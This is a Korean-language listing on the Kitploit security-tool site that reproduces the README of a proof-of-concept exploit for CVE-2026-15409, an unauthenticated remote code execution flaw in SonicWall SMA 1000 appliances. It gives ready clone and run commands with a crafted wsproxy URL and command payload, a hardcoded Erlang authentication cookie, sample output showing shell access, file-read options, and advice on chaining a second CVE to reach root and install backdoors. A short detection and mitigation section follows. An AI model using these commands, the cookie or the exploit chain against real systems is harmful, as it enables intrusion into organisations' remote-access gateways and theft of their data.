Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-15409 — CVE-2026-15409(SonicWall SMA 1000 RCE)에 대한 개념 증명 익스플로잇으로, WebSocket을 통한 Erlang 분산 프로토콜을 이용합니다. couchdb 사용자로 인증 없이 원격 코드 실행을 달성합니다. | Kitploit
도구/GitHubGitHub/ch4120n/cve-2026-15409
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingRed Teaming
GitHubch4120n/cve-2026-15409

CVE-2026-15409

CVE-2026-15409(SonicWall SMA 1000 RCE)에 대한 개념 증명 익스플로잇으로, WebSocket을 통한 Erlang 분산 프로토콜을 이용합니다. couchdb 사용자로 인증 없이 원격 코드 실행을 달성합니다.

저장소 보기
131개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚀 CVE-2026-15409 – WebSocket 프록시를 통한 SonicWall SMA 1000 Erlang RCE

Python Exploit CVE

GitHub stars GitHub issues License

CVE-2026-15409용 Proof‑of‑Concept 익스플로잇 – WebSocket을 통해 터널링된 Erlang 분산 프로토콜을 이용한 SonicWall SMA 1000 시리즈 어플라이언스에서의 인증되지 않은 원격 코드 실행.


📖 개요

CVE-2026-15409는 SonicWall SMA 1000 어플라이언스(2026년 6월 핫픽스 이전 버전)에 영향을 미치는 치명적인 취약점입니다. 이 결함은 WebSocket 연결을 내부 Erlang 노드로 프록시하는 WorkPlace 서비스(일반적으로 443 포트에 노출)에 존재합니다. 공격자는 유효한 bmID 매개변수를 위조하고 하드코딩된 Erlang 쿠키를 사용하여 인증된 분산 채널을 구축하고 에 대한 RPC 호출을 통해 사용자(또는 기타 낮은 권한의 계정)로 임의의 시스템 명령을 실행할 수 있습니다.

os:cmd/1
couchdb

이 저장소는 WebSocket 핸드셰이크부터 임의 명령 실행까지 전체 익스플로잇 체인을 자동화하는 완전히 작동하는 PoC를 깔끔한 인터페이스, 고급 오류 처리, 멋진 로깅과 함께 제공합니다.

🔍 주요 기능

  • WebSocket 터널링 – wsproxy 엔드포인트를 사용하여 wss://를 통해 직접 작동합니다.
  • Erlang 분산 프로토콜 – 핸드셰이크와 ETF(Erlang External Term Format)를 완전히 구현합니다.
  • 원격 코드 실행 – os:cmd/1을 통해 수행하며, file:read_file/1로 파일을 읽거나 erlang:node/0으로 연결을 테스트할 수 있습니다.
  • 지능형 탐지 – 임의의 bmID 값(-3389로 시작하는 한)과 여러 serviceType 값을 지원합니다.
  • 포괄적인 로깅 – [+], [*], [-], [!] 기호로 색상 구분된 메시지를 제공하여 쉽게 모니터링할 수 있습니다.

🧬 취약점 세부 정보

이 취약점은 SMA 1000의 다음과 같은 설계 결함에서 비롯됩니다:

  1. 제한 없는 WebSocket 프록시 – /wsproxy 엔드포인트는 적절한 인증이나 권한 부여 없이 바이너리 WebSocket 메시지를 로컬 Erlang 분산 포트(기본적으로 localhost:1050)로 전달합니다.
  2. 예측 가능한/하드코딩된 Erlang 쿠키 – 분산 인증에 사용되는 쿠키는 모든 SMA 어플라이언스에서(최소한 테스트된 버전에서는) 정적입니다. 이를 통해 외부 공격자가 핸드셰이크를 완료할 수 있습니다.
  3. 노출된 Erlang 노드 – Erlang 노드 [email protected]가 1050 포트에서 수신 대기하며 WebSocket 프록시로부터의 연결을 수락하므로 네트워크에서 도달할 수 있습니다.
  4. 강력한 RPC 인터페이스 – Erlang 노드는 os:cmd/1을 포함하여 노드에서 임의의 함수를 실행할 수 있는 표준 rex 서비스를 제공합니다.

영향을 받는 버전

  • 2026년 6월 핫픽스 이전 펌웨어가 설치된 SonicWall SMA 1000 시리즈(예: ex_sra_vm_12.5.0-02002.ova).
  • WorkPlace 서비스가 활성화되어 있어야 합니다(기본 구성).

영향

  • couchdb 사용자(UID 1010, daemon 그룹)로 원격 코드 실행.
  • 수평 이동 – 공격자는 CVE-2026-15410(XML‑RPC 경로 탐색)을 활용하여 루트로 권한을 상승시킬 수 있습니다.
  • 데이터 유출 – file:read_file/1을 통해 임의의 파일을 읽을 수 있습니다.
  • 지속성 – 백도어를 설치하거나 시스템 파일을 수정할 수 있습니다.

🔧 익스플로잇 요구 사항

  • SMA 어플라이언스의 WorkPlace 서비스에 대한 네트워크 접근(일반적으로 TCP/443).
  • 유효한 자격 증명이 필요 없음 – 익스플로잇은 인증 없이 작동합니다.
  • websockets 라이브러리가 포함된 Python 3.8+(pip install websockets로 설치).

🚀 사용법

설치

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt   # websockets

기본 명령

root@kitploit:~
python3 cve-2026-15409.py \
  --ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
  --ws-user-agent 'SMA Connect Agent' \
  --ws-insecure-tls \
  --exec 'whoami && id && pwd && hostname'

출력 예시

root@kitploit:~
  ░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
  ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
  ░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
                    [CVE-2026-15409]
         Erlang Distribution RCE via WebSocket Proxy
                     Owner: Ch4120N

[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

고급 옵션

인자설명
--host, --portTCP 폴백(WebSocket을 사용하지 않는 경우)
--cookie기본 하드코딩 쿠키 재정의
--name사용자 지정 로컬 Erlang 노드 이름
--ws-originWebSocket용 Origin 헤더 설정
--ws-user-agentUser‑Agent 문자열(기본값: SMA Connect Agent)
--ws-insecure-tlsTLS 검증 비활성화(자체 서명 인증서)
--read-file대상에서 파일 읽기(예: /etc/passwd)
--rpcerlang:node/0 호출로 연결만 테스트

🧪 탐지 및 튜닝을 위한 기술적 세부 정보

하드코딩된 쿠키

익스플로잇에 사용되는 Erlang 쿠키는 다음과 같습니다:

root@kitploit:~
10ecad5b446e86864832904cd439b6b70262

이 값은 테스트된 모든 SMA 어플라이언스에서 일관되며 localhost:1050의 Erlang 프로세스에 하드코딩되어 있습니다. 클러스터링을 위해 사용자가 구성한 쿠키와는 다릅니다.

bmID 매개변수

bmID는 -3389로 시작해야 합니다(예: -3389c1b25ccd). 접두사 이후의 값은 임의로 허용되므로 서명 기반 탐지는 고정 해시에 의존해서는 안 됩니다.

서비스 유형

예제에서는 serviceType=SSH를 사용하지만 TELNET과 같은 다른 값도 작동합니다. 이 익스플로잇은 서비스 유형에 무관합니다.

포트 선택

포트 1050이 기본 내부 포트이지만, 실제 공격에서는 8188 포트를 대상으로 한 사례도 관찰되었습니다. 이 익스플로잇은 Erlang 분산 프로토콜을 노출하는 모든 포트에 적용할 수 있습니다.

권한 상승

couchdb로 셸을 획득한 후 공격자는 CVE-2026-15410(XML‑RPC 경로 탐색)을 활용하여 핫픽스를 제거하고 이후 루트 권한을 상승시킬 수 있습니다.


🛡️ 탐지 및 완화

침해 지표(IoC)

  • -3389로 시작하는 bmID를 사용한 /wsproxy로의 비정상적인 WebSocket 연결.
  • SMA 어플라이언스에서 외부 IP로의 예상치 못한 아웃바운드 연결.
  • couchdb 사용자가 생성한 프로세스(예: bash, python, nc).
  • couchdb 사용자가 /var/tmp/에 파일을 수정하거나 생성한 흔적.

권장 조치

  1. SonicWall의 공식 패치(2026년 6월 핫픽스)를 즉시 적용합니다.
  2. WorkPlace 서비스에 대한 접근을 신뢰할 수 있는 IP 범위로만 제한합니다.
  3. 비정상적인 WebSocket 활동 및 Erlang 분산 시도가 있는지 로그를 모니터링합니다.
  4. 내부 Erlang 노드의 Erlang 쿠키를 변경합니다(가능한 경우) – 다만 애플리케이션 기능에 영향을 줄 수 있습니다.
  5. 필요하지 않다면 WorkPlace 서비스를 비활성화합니다.

👏 크레딧

  • 발견 및 PoC: Ch4120N.
  • 추가 연구: SonicWall PSIRT 및 보안 커뮤니티.

📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 – 자세한 내용은 LICENSE 파일을 참조하세요.

면책 조항: 이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다. 작성자와 기여자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다.


📚 참고 자료

  • SonicWall 보안 권고 (CVE-2026-15409)
  • NIST NVD 항목 – CVE-2026-15409

⭐ 후원

이 PoC가 유용하다면 GitHub에서 ⭐를 눌러주시고 책임감 있게 공유해 주시기 바랍니다. 기여, 이슈 제기, 풀 리퀘스트는 언제나 환영합니다!


즐거운 해킹 되세요! 🛡️

도구 다운로드